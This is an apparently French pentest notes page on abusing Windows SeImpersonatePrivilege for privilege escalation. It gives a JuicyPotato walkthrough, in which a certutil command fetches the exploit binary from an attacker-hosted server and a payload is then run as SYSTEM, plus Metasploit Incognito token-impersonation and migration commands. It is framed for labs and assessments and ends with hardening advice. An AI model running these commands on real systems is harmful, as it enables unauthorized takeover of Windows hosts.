> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md).

# SeImpersonatePrivilege

`SeImpersonatePrivilege` permet à un processus d'usurper le jeton d'un autre utilisateur. Sur des cibles Windows compatibles, ce privilège peut être abusé pour obtenir une session très privilégiée.

## Détection

```powershell
whoami /priv
```

<figure><img src="/files/d93f85ec9f5041e086004e0f51390d6a76097e4a" alt="SeImpersonatePrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## Choisissez la bonne technique

Différentes versions de Windows nécessitent des approches différentes. Considérez cela comme une vérification de compatibilité, pas comme un exploit en une seule commande.

| Famille d'outils                           | Généralement pertinent pour                                                           | Notes                                                       |
| ------------------------------------------ | ------------------------------------------------------------------------------------- | ----------------------------------------------------------- |
| JuicyPotato                                | Anciennes versions de Windows Server avant le durcissement DCOM plus récent.          | Nécessite un CLSID compatible et un comportement COM local. |
| Chemins de type RoguePotato / RemotePotato | Environnements où le relais NTLM ou des astuces de résolution sont envisageables.     | Validez d'abord les hypothèses réseau.                      |
| PrintSpoofer                               | Cibles plus anciennes où le chemin du service Print Spooler est exposé et compatible. | Le niveau de correctif est crucial.                         |
| Variantes GodPotato / SweetPotato          | Cibles de laboratoire avec un comportement de tube nommé/RPC compatible.              | Testez sur la version exacte du système d'exploitation.     |

## Validation manuelle avec JuicyPotato

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

Servez les binaires depuis la machine d'attaque :

```bash
python3 -m http.server 8080
```

Téléchargez l'outil autorisé sur la cible :

```cmd
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe JP.exe
```

<figure><img src="/files/909d14528478f80ed1427b5c39609496553e00e1" alt="JuicyPotato and netcat transferred to the target"><figcaption></figcaption></figure>

Exécutez d'abord une commande de validation inoffensive :

```cmd
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\impersonate-check.txt"
type C:\Windows\Temp\impersonate-check.txt
```

Si la validation réussit, remplacez l'action par la charge utile ciblée pour le laboratoire ou l'évaluation.

## Vérifications courantes

```cmd
whoami /priv
systeminfo
net start spooler
```

<figure><img src="/files/807813881cc4aa15e8e90001e00ec10cecd5d4bb" alt="Privileged shell obtained through JuicyPotato" width="563"><figcaption></figcaption></figure>

## Variante Incognito de Metasploit

```
load incognito
list_tokens -u
```

<figure><img src="/files/faedbb377ba55bf49a07ab20559b1548fd60fd78" alt="Listing tokens with Incognito"><figcaption></figcaption></figure>

```
impersonate_token "ATTACKDEFENSE/Administrator"
```

<figure><img src="/files/211045653fa505b77dc9e85ba8aed3d3ded1c289" alt="Impersonating an administrator token"><figcaption></figcaption></figure>

Migrez vers un processus approprié :

```
pgrep explorer
migrate 3512
getprivs
```

<figure><img src="/files/1c745ca5ef8332281936973990c300fb6c805439" alt="Migrating into explorer process"><figcaption></figcaption></figure>

<figure><img src="/files/24119af5e604ee1aecc968679ddb5d7547673449" alt="Privileges after token impersonation" width="563"><figcaption></figcaption></figure>

## Points clés

* Confirmez que le privilège est présent et activé.
* Le chemin d'exploitation dépend fortement de la version de Windows et des restrictions locales.
* Si l'hôte est récent et corrigé, passez aux chemins liés aux services, aux tâches planifiées ou aux identifiants avant de perdre du temps.
* Corrigez en limitant les services qui exposent des chemins d'usurpation et en maintenant les hôtes à jour.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/token-privileges/seimpersonateprivilege-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
